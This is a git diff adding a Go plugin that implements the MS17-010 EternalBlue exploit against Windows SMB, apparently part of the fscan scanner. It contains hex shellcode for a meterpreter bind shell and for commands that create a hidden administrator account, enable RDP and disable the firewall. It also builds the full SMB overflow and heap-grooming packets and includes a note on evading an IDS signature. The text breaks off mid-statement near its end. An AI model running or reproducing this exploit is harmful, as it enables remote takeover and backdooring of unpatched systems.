diff --git a/Plugins/ms17010-exp.go b/Plugins/ms17010-exp.go new file mode 100644 index 0000000..a9c5b12 --- /dev/null +++ b/Plugins/ms17010-exp.go @@ -0,0 +1,1107 @@ +package Plugins + +import ( + "bytes" + "encoding/binary" + "encoding/hex" + "fmt" + "github.com/shadow1ng/fscan/common" + "io" + "io/ioutil" + "net" + "strings" + "time" +) + +func MS17010EXP(info *common.HostInfo) { + address := info.Host + ":445" + var sc string + switch common.SC { + case "bind": + //msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex + sc = "fc4881e4f0ffffffe8cc0000004151415052514831d25665488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed52488b52208b423c4801d0668178180b0241510f85720000008b80880000004885c074674801d050448b40204901d08b4818e3564d31c948ffc9418b34884801d64831c041c1c90dac4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b0488415841584801d05e595a41584159415a4883ec204152ffe05841595a488b12e94bffffff5d49be7773325f3332000041564989e64881eca00100004989e54831c0505049c7c40200fc1341544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd56a025950504d31c94d31c048ffc04889c241baea0fdfe0ffd54889c76a1041584c89e24889f941bac2db3767ffd54831d24889f941bab7e938ffffd54d31c04831d24889f941ba74ec3be1ffd54889f94889c741ba756e4d61ffd54881c4b00200004883ec104889e24d31c96a0441584889f941ba02d9c85fffd54883c4205e89f66a404159680010000041584889f24831c941ba58a453e5ffd54889c34989c74d31c94989f04889da4889f941ba02d9c85fffd54801c34829c64885f675e141ffe7586a005949c7c2f0b5a256ffd5" + case "cs": + //cs gen C shellcode -> fmt.Printf("%x", c) -> hex + sc = "" + case "add": + //msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user sysadmin "1qaz@WSX!@#4" /ADD && net localgroup Administrators sysadmin /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex + sc = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbe01d2a0a41baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5636d642e657865202f63206e657420757365722073797361646d696e20223171617a405753582140233422202f414444202626206e6574206c6f63616c67726f75702041646d696e6973747261746f72732073797361646d696e202f414444202626205245472041444420484b4c4d5c53595354454d5c43757272656e74436f6e74726f6c5365745c436f6e74726f6c5c5465726d696e616c222022536572766572202f76206644656e795453436f6e6e656374696f6e73202f74205245475f44574f5244202f64203030303030303030202f66202626206e65747368206164766669726577616c6c2073657420616c6c70726f66696c6573207374617465206f666600" + case "guest": + //msfvenom -p windows/x64/exec EXITFUNC=thread CMD='cmd.exe /c net user Guest /active:yes && net user Guest "1qaz@WSX!@#4" && net localgroup Administrators Guest /ADD && REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f && netsh advfirewall set allprofiles state off' -f hex + sc = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbe01d2a0a41baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5636d642e657865202f63206e65742075736572204775657374202f6163746976653a796573202626206e6574207573657220477565737420223171617a405753582140233422202626206e6574206c6f63616c67726f75702041646d696e6973747261746f7273204775657374202f414444202626205245472041444420484b4c4d5c53595354454d5c43757272656e74436f6e74726f6c5365745c436f6e74726f6c5c5465726d696e616c222022536572766572202f76206644656e795453436f6e6e656374696f6e73202f74205245475f44574f5244202f64203030303030303030202f66202626206e65747368206164766669726577616c6c2073657420616c6c70726f66696c6573207374617465206f666600" + default: + if strings.Contains(common.SC, "file:") { + read, err := ioutil.ReadFile(common.SC[5:]) + if err != nil { + errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err) + common.LogError(errlog) + return + } + sc = fmt.Sprintf("%x", read) + } else { + sc = common.SC + } + } + + if len(sc) < 20 { + fmt.Println("[-] no such sc") + return + } + + sc1, err := hex.DecodeString(sc) + if err != nil { + common.LogError(err) + return + } + err = eternalBlue(address, 12, 12, sc1) + if err != nil { + common.LogError(err) + return + } + fmt.Println("[*] " + info.Host + " MS17-010 exploit end") +} + +func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { + // check sc size + const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16 + l := len(sc) + if l > maxscSize { + fmt.Println(maxscSize) + return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize) + } + payload := makeKernelUserPayload(sc) + var ( + grooms int + err error + ) + for i := 0; i < maxAttempts; i++ { + grooms = initialGrooms + 5*i + err = exploit(address, grooms, payload) + if err == nil { + return nil + } + } + return err +} + +func exploit(address string, grooms int, payload []byte) error { + // connect host + header, conn, err := smb1AnonymousConnectIPC(address) + if err != nil { + return err + } + defer func() { _ = conn.Close() }() + // send SMB1 large buffer + _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + err = smb1LargeBuffer(conn, header) + if err != nil { + return err + } + // initialize groom threads + fhsConn, err := smb1FreeHole(address, true) + if err != nil { + return err + } + defer func() { _ = fhsConn.Close() }() + // groom socket + groomConns, err := smb2Grooms(address, grooms) + if err != nil { + return err + } + fhfConn, err := smb1FreeHole(address, false) + if err != nil { + return err + } + _ = fhsConn.Close() + // grooms + groomConns2, err := smb2Grooms(address, 6) + if err != nil { + return err + } + _ = fhfConn.Close() + groomConns = append(groomConns, groomConns2...) + defer func() { + for i := 0; i < len(groomConns); i++ { + _ = groomConns[i].Close() + } + }() + + //fmt.Println("Running final exploit packet") + err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + if err != nil { + return err + } + treeID := header.TreeID + userID := header.UserID + finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit") + _, err = conn.Write(finalPacket) + if err != nil { + return fmt.Errorf("failed to send final exploit packet: %s", err) + } + raw, _, err := smb1GetResponse(conn) + if err != nil { + return fmt.Errorf("failed to get response about exploit: %s", err) + } + ntStatus := make([]byte, 4) + ntStatus[0] = raw[8] + ntStatus[1] = raw[7] + ntStatus[2] = raw[6] + ntStatus[3] = raw[5] + + //fmt.Printf("NT Status: 0x%08X\n", ntStatus) + + //fmt.Println("send the payload with the grooms") + + body := makeSMB2Body(payload) + + for i := 0; i < len(groomConns); i++ { + _, err = groomConns[i].Write(body[:2920]) + if err != nil { + return err + } + } + for i := 0; i < len(groomConns); i++ { + _, err = groomConns[i].Write(body[2920:4073]) + if err != nil { + return err + } + } + return nil +} + +func makeKernelUserPayload(sc []byte) []byte { + // test DoublePulsar + // sc, err := ioutil.ReadFile("sc.bin") + // if err != nil { + // panic(err) + // } + // return sc + buf := bytes.Buffer{} + buf.Write(loader[:]) + // write sc size + size := make([]byte, 2) + binary.LittleEndian.PutUint16(size, uint16(len(sc))) + buf.Write(size) + buf.Write(sc) + return buf.Bytes() +} + +func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { + conn, err := net.DialTimeout("tcp", address, 5*time.Second) + defer func() { + if conn != nil { + conn.Close() + } + }() + if err != nil { + return nil, nil, fmt.Errorf("failed to connect host: %s", err) + } + err = smbClientNegotiate(conn) + if err != nil { + return nil, nil, fmt.Errorf("failed to negotiate: %s", err) + } + raw, header, err := smb1AnonymousLogin(conn) + if err != nil { + return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err) + } + _, err = getOSName(raw) + if err != nil { + return nil, nil, fmt.Errorf("failed to get OS name: %s", err) + } + //fmt.Println("OS:", osName) + header, err = treeConnectAndX(conn, address, header.UserID) + if err != nil { + return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err) + } + return header, conn, nil +} + +const smbHeaderSize = 32 + +type smbHeader struct { + ServerComponent [4]byte + SMBCommand uint8 + ErrorClass uint8 + Reserved byte + ErrorCode uint16 + Flags uint8 + Flags2 uint16 + ProcessIDHigh uint16 + Signature [8]byte + Reserved2 [2]byte + TreeID uint16 + ProcessID uint16 + UserID uint16 + MultiplexID uint16 +} + +func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { + // net BIOS + buf := make([]byte, 4) + _, err := io.ReadFull(conn, buf) + if err != nil { + const format = "failed to get SMB1 response about NetBIOS session service: %s" + return nil, nil, fmt.Errorf(format, err) + } + typ := buf[0] + if typ != 0x00 { + const format = "invalid message type 0x%02X in SMB1 response" + return nil, nil, fmt.Errorf(format, typ) + } + sizeBuf := make([]byte, 4) + copy(sizeBuf[1:], buf[1:]) + size := int(binary.BigEndian.Uint32(sizeBuf)) + // SMB + buf = make([]byte, size) + _, err = io.ReadFull(conn, buf) + if err != nil { + const format = "failed to get SMB1 response about header: %s" + return nil, nil, fmt.Errorf(format, err) + } + smbHeader := smbHeader{} + reader := bytes.NewReader(buf[:smbHeaderSize]) + err = binary.Read(reader, binary.LittleEndian, &smbHeader) + if err != nil { + const format = "failed to parse SMB1 response header: %s" + return nil, nil, fmt.Errorf(format, err) + } + return buf, &smbHeader, nil +} + +func smbClientNegotiate(conn net.Conn) error { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x54}) + + // --------Server Message Block Protocol-------- + + // server_component: .SMB + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // smb_command: Negotiate Protocol + buf.WriteByte(0x72) + // NT status + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x01, 0x28}) + // process_id_high + buf.Write([]byte{0x00, 0x00}) + // signature + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // process id + buf.Write([]byte{0x2F, 0x4B}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0xC5, 0x5E}) + + // --------Negotiate Protocol Request-------- + + // word_count + buf.WriteByte(0x00) + // byte_count + buf.Write([]byte{0x31, 0x00}) + + // dialect name: LAN MAN1.0 + buf.WriteByte(0x02) + buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, + 0x30, 0x00}) + + // dialect name: LM1.2X002 + buf.WriteByte(0x02) + buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, + 0x32, 0x00}) + + // dialect name: NT LAN MAN 1.0 + buf.WriteByte(0x02) + buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, + 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}) + + // dialect name: NT LM 0.12 + buf.WriteByte(0x02) + buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, + 0x31, 0x32, 0x00}) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return err + } + _, _, err = smb1GetResponse(conn) + return err +} + +func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // session message + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x88}) + + // --------Server Message Block Protocol-------- + + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX + buf.WriteByte(0x73) + // NT SUCCESS + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // Signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // Signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // TreeID + buf.Write([]byte{0x00, 0x00}) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Session Setup AndX Request-------- + + // word count + buf.WriteByte(0x0D) + // no further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndX offset + buf.Write([]byte{0x88, 0x00}) + // max buffer + buf.Write([]byte{0x04, 0x11}) + // max mpx count + buf.Write([]byte{0x0A, 0x00}) + // VC Number + buf.Write([]byte{0x00, 0x00}) + // session key + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // ANSI password length + buf.Write([]byte{0x01, 0x00}) + // unicode password length + buf.Write([]byte{0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // capabilities + buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) + // bytes count + buf.Write([]byte{0x4b, 0x00}) + // ANSI password + buf.WriteByte(0x00) + // account name + buf.Write([]byte{0x00, 0x00}) + // domain name + buf.Write([]byte{0x00, 0x00}) + + // native OS: Windows 2000 2195 + buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) + buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, + 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00}) + buf.Write([]byte{0x00, 0x00}) + + // native LAN manager: Windows 2000 5.0 + buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) + buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, + 0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return nil, nil, err + } + return smb1GetResponse(conn) +} + +// skip smb header, word count, AndXCommand, Reserved, +// AndXOffset, Action, Byte count and a magic 0x41 (A) +func getOSName(raw []byte) (string, error) { + osBuf := bytes.Buffer{} + reader := bytes.NewReader(raw[smbHeaderSize+10:]) + char := make([]byte, 2) + for { + _, err := io.ReadFull(reader, char) + if err != nil { + return "", err + } + if bytes.Equal(char, []byte{0x00, 0x00}) { + break + } + osBuf.Write(char) + } + osBufLen := osBuf.Len() + osName := make([]byte, 0, osBufLen/2) + b := osBuf.Bytes() + for i := 0; i < osBufLen; i += 2 { + osName = append(osName, b[i]) + } + return string(osName), nil +} + +func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length, it will changed at the end of the function + buf.Write([]byte{0x00, 0x00, 0x00}) + + // --------Server Message Block Protocol-------- + + // server component + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // smb command: Tree Connect AndX + buf.WriteByte(0x75) + // NT status + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x01, 0x20}) + // process id high + buf.Write([]byte{0x00, 0x00}) + // signature + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // process id + buf.Write([]byte{0x2F, 0x4B}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0xC5, 0x5E}) + + // --------Tree Connect AndX Request-------- + + // word count + buf.WriteByte(0x04) + // AndXCommand: No further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndXOffset + buf.Write([]byte{0x00, 0x00}) + // flags + buf.Write([]byte{0x00, 0x00}) + // password length + buf.Write([]byte{0x01, 0x00}) + // byte count + buf.Write([]byte{0x1A, 0x00}) + // password + buf.WriteByte(0x00) + // IPC + host, _, err := net.SplitHostPort(address) + if err != nil { + return nil, err + } + _, _ = fmt.Fprintf(&buf, "\\\\%s\\IPC$", host) + // null byte after ipc added by kev + buf.WriteByte(0x00) + // service + buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) + + // update packet size + b := buf.Bytes() + sizeBuf := make([]byte, 4) + binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) + copy(b[1:], sizeBuf[1:]) + + // send packet + _, err = buf.WriteTo(conn) + if err != nil { + return nil, err + } + _, header, err := smb1GetResponse(conn) + return header, err +} + +func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { + transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) + if err != nil { + return fmt.Errorf("failed to send nt trans: %s", err) + } + // initial trans2 request + treeID := transHeader.TreeID + userID := transHeader.UserID + trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") + // send all but the last packet + for i := 1; i < 15; i++ { + packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") + trans2Packet = append(trans2Packet, packet...) + } + smb1EchoPacket := makeSMB1EchoPacket(treeID, userID) + trans2Packet = append(trans2Packet, smb1EchoPacket...) + + _, err = conn.Write(trans2Packet) + if err != nil { + return fmt.Errorf("failed to send large buffer: %s", err) + } + _, _, err = smb1GetResponse(conn) + return err +} + +func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x04, 0x38}) + + // --------Server Message Block Protocol-------- + + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // NT Trans + buf.WriteByte(0xA0) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------NT Trans Request-------- + + // word count + buf.WriteByte(0x14) + // max setup count + buf.WriteByte(0x01) + // reserved + buf.Write([]byte{0x00, 0x00}) + // total param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // total data count + buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) + // max param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // max data count + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // param offset + buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) + // data count + buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) + // data offset + buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) + // setup count + buf.WriteByte(0x01) + // function + buf.Write([]byte{0x00, 0x00}) + // unknown NT transaction (0) setup + buf.Write([]byte{0x00, 0x00}) + // byte count + buf.Write([]byte{0xEC, 0x03}) + // NT parameters + buf.Write(makeZero(0x1F)) + // undocumented + buf.WriteByte(0x01) + buf.Write(makeZero(0x03CD)) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return nil, err + } + _, header, err := smb1GetResponse(conn) + return header, err +} + +func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { + timeout = timeout*0x10 + 3 + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x10, 0x35}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Trans2 request + buf.WriteByte(0x33) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Trans2 Second Request-------- + + // word count + buf.WriteByte(0x09) + // total param count + buf.Write([]byte{0x00, 0x00}) + // total data count + buf.Write([]byte{0x00, 0x10}) + // max param count + buf.Write([]byte{0x00, 0x00}) + // max data count + buf.Write([]byte{0x00, 0x00}) + // max setup count + buf.WriteByte(0x00) + // reserved + buf.WriteByte(0x00) + // flags + buf.Write([]byte{0x00, 0x10}) + // timeouts + buf.Write([]byte{0x35, 0x00, 0xD0}) + // timeout is a single int + buf.WriteByte(byte(timeout)) + // reserved + buf.Write([]byte{0x00, 0x00}) + // parameter count + buf.Write([]byte{0x00, 0x10}) + + switch typ { + case "exploit": + // overflow + buf.Write(bytes.Repeat([]byte{0x41}, 2957)) + buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) + + buf.Write(makeZero(0x10)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x06)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x16)) + + // x86 addresses + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) + + // x64 addresses + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x04)) + + buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) + + buf.Write(makeZero(0x04)) + buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x10)) + + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x0C)) + buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x80, 0x10}) + buf.Write(makeZero(0x0E)) + buf.WriteByte(0x39) + buf.WriteByte(0xBB) + + buf.Write(bytes.Repeat([]byte{0x41}, 965)) + case "zero": + buf.Write(makeZero(2055)) + buf.Write([]byte{0x83, 0xF3}) + + buf.Write(bytes.Repeat([]byte{0x41}, 2039)) + default: + buf.Write(bytes.Repeat([]byte{0x41}, 4096)) + } + return buf.Bytes() +} + +func makeSMB1EchoPacket(treeID, userID uint16) []byte { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x31}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Echo + buf.WriteByte(0x2B) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Echo Request-------- + + // word count + buf.WriteByte(0x01) + // echo count + buf.Write([]byte{0x01, 0x00}) + // byte count + buf.Write([]byte{0x0C, 0x00}) + // echo data + // this is an existing IDS signature, and can be null out + buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) + + return buf.Bytes() +} + +func smb1FreeHole(address string, start bool) (net.Conn, error) { + conn, err := net.Dial("tcp", address) + if err != nil { + return nil, fmt.Errorf("failed to connect host: %s", err) + } + var ok bool + defer func() { + if !ok { + _ = conn.Close() + } + }() + err = smbClientNegotiate(conn) + if err != nil { + return nil, fmt.Errorf("failed to negotiate: %s", err) + } + var ( + flags2 []byte + vcNum []byte + nativeOS []byte + ) + if start { + flags2 = []byte{0x07, 0xC0} + vcNum = []byte{0x2D, 0x01} + nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00} + } else { + flags2 = []byte{0x07, 0x40} + vcNum = []byte{0x2C, 0x01} + nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} + } + packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) + _, err = conn.Write(packet) + if err != nil { + const format = "failed to send smb1 free hole session packet: %s" + return nil, fmt.Errorf(format, err) + } + _, _, err = smb1GetResponse(conn) + if err != nil { + return nil, err + } + ok = true + return conn, nil +} + +func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x51}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX + buf.WriteByte(0x73) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write(flags2) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Session Setup AndX Request-------- + + // word count + buf.WriteByte(0x0C) + // no further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndX offset + buf.Write([]byte{0x00, 0x00}) + // max buffer + buf.Write([]byte{0x04, 0x11}) + // max mpx count + buf.Write([]byte{0x0A, 0x00}) + // VC number + buf.Write(vcNum) + // session key + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // security blob length + buf.Write([]byte{0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // capabilities + buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) + // byte count + buf.Write([]byte{0x16, 0x00}) + // Native OS + buf.Write(nativeOS) + // extra byte params + buf.Write(makeZero(17)) + return buf.Bytes() +} + +func smb2Grooms(address string, grooms int) ([]net.Conn, error) { + header := makeSMB2Header() + var ( + conns []net.Conn + ok bool + ) + defer func() { + if ok { + return + } + for i := 0; i < len(conns); i++ { + _ = conns[i].Close() + } + }() + for i := 0; i < grooms; i++ { + conn, err := net.Dial("tcp", address) + if err != nil { + return nil, fmt.Errorf("failed to connect target: %s", err) + } + _, err = conn.Write(header) + if err != nil { + return nil, fmt.Errorf("failed to send SMB2 header: %s", err) + } + conns = append(conns, conn) + } + ok = true + return conns, nil +} + +func makeSMB2Header() []byte { + buf := bytes.Buffer{} + buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) + buf.WriteString("SMB") + buf.Write(makeZero(124)) + return buf.Bytes() +} + +const ( + packetMaxLen = 4204 + packetSetupLen = 497 +) + +func makeSMB2Body(payload []byte) []byte { + const packetMaxPayload = 